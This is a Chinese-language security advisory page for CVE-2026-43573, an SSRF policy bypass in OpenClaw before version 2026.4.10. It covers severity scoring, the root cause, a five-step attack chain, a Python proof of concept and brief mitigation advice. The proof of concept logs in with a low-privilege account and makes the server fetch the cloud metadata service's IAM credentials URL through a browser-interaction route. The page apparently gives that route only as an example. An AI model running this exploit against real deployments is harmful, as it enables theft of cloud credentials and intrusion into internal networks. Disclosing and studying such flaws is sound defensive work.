IPBUF安全漏洞报告
English
CVE-2026-43573 CVSS 7.7 高危

CVE-2026-43573 OpenClaw SSRF策略绕过漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-43573
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

SSRFOpenClaw策略绕过高危漏洞

漏洞概述

OpenClaw 在 2026.4.10 之前的版本中存在一个严重的服务端请求伪造(SSRF)策略绕过漏洞。该漏洞位于处理现有会话的浏览器交互路由中。由于安全机制设计缺陷,攻击者可以绕过旨在防止SSRF攻击的导航守卫。这使得拥有低权限的攻击者能够在不受安全策略强制执行的情况下,与未授权的目标进行交互或导航。成功利用此漏洞可能导致攻击者访问内网敏感资源、扫描内部端口或获取云服务元数据,从而造成严重的信息泄露风险。

技术细节

该漏洞的根本原因在于 OpenClaw 在处理“现有会话”的浏览器交互请求时,未能正确重新验证目标 URL 是否符合 SSRF 防护策略。通常情况下,SSRF 导航守卫会检查请求的目标地址,拦截指向内网(如 127.0.0.1、169.254.169.254)或受限域名的请求。然而,在此受影响的版本中,当请求通过特定的会话路由发出时,系统可能错误地信任了会话上下文或跳过了关键的安全检查环节。攻击者首先需要建立有效的会话(低权限即可),然后构造包含恶意内部 URL 的请求包发送至存在漏洞的交互接口。由于策略检查被绕过,服务器将代表攻击者向内部目标发起请求,并将响应返回给攻击者。这一过程无需用户交互,且利用难度较低,极大地扩展了攻击者在内网的攻击面。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者注册或使用已有的低权限账户登录 OpenClaw 系统,建立有效的用户会话。
STEP 2
步骤2:识别漏洞接口
攻击者定位到处理现有会话浏览器交互的 API 路由(例如 /api/browser/interact),该接口被怀疑存在策略绕过问题。
STEP 3
步骤3:构造恶意请求
攻击者构造包含内部受限地址(如 AWS 元数据服务 169.254.169.254)的 HTTP 请求,利用已建立的会话 Cookie 发送至目标接口。
STEP 4
步骤4:执行 SSRF 攻击
服务器端接收请求后,由于 SSRF 导航守卫被绕过,服务器向攻击者指定的内部目标发起请求。
STEP 5
步骤5:回传敏感数据
内部服务返回的响应数据(如凭证、配置信息)被 OpenClaw 服务器接收并转发给攻击者,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-43573: OpenClaw SSRF Policy Bypass # Description: Bypasses SSRF guards by utilizing existing-session browser interaction routes. target_host = "http://vulnerable-openclaw-instance.com" attacker_controlled_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # 1. Establish a session (Low privilege required) session = requests.Session() login_data = {"username": "low_priv_user", "password": "password"} session.post(f"{target_host}/api/login", data=login_data) # 2. Prepare the payload using the vulnerable interaction route # The vulnerability lies in /api/browser/interact which reuses existing sessions # and fails to enforce navigation policies on the target URL. payload = { "url": attacker_controlled_url, "method": "GET", "session_id": session.cookies.get_dict().get('session_id') } # 3. Send the exploit request try: response = session.post(f"{target_host}/api/browser/interact", json=payload) if response.status_code == 200: print("[+] SSRF Policy Bypass Successful!") print("[+] Internal Resource Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

OpenClaw < 2026.4.10

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用受影响的浏览器交互路由功能,或通过 Web 应用防火墙(WAF)添加规则,检测并阻断对内部 IP 段的请求。同时,应加强对现有会话的验证逻辑,确保所有请求在处理前都经过统一的安全策略检查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表